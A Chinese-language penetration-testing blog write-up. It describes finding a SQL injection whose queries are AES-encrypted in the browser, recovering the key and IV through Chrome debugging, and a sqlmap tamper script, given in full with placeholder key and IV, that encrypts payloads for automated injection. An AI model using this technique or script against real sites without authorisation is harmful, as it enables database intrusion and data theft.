渗透测试-加密SQL注入

在日站的时候,发现一处注入。但是注入语句被AES加密。通过Chrome进行单步debug,拿到了key、iv等信息。最后使用SQLMap加载tamper进行自动注入。
sqlmap.png

寻找注入点

渗透的时候,发现了一个页面,参数有initSql,看到这个参数名称猜测这个参数是用来进行SQL查询的,但是这个参数被加密了。将initSql的值替换成后一个请求的initSql参数的值,回显信息里面出现了SQL报错信息。
SQL加密.png
现在可以判断这个就是一个注入点,但是现在这样是没办法把数据成功注入出来!转头一想,进行请求的时候参数值已经被加密,那么这个加密操作十有八九是在前端通过JS进行加密,服务器再进行解密。

寻找加密信息

按照刚刚的思路,现在去import的JS里面进行寻找关键的加密函数以及加密,使用chrome开发者工具中的【Select an element in the page to inspect it】定位到【Sources】中的对应行业,点击左边的行数进行debug,通过不断的单步直至找到对应的js。
key.png
使用找到的iv、key可成功的对加密之后的语句进行解密,但是这样去注入得手工一点一点的去搞,还是得祭出SQLMap这种神器最方便。
想起SQLMap可以使用tamper加载脚本,对注入的payload进行处理。这里直接把代码贴上来给大家参考参考。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python

"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import base64
from Crypto.Cipher import AES

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def tamper(payload, **kwargs):
BS = AES.block_size
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)

key = "xxxxxxxxxx"
iv = "xxxxxxxx"


cipher = AES.new(key)
cipher = AES.new(key,
AES.MODE_CBC, IV=iv)

encrypted = cipher.encrypt(pad(payload))
encrypted = base64.b64encode(encrypted)

return encrypted

后面加载这个tamper就可以直接用SQLMap跑了。

总结

  1. 这个漏洞产生原因”大概“是因为上次被发现注入,开发人员”偷懒“直接调用CryptoJS进行加密,导致该漏洞产生;
  2. 现在很多操作都会放在前端进行操作,挖挖前端也是一种思路。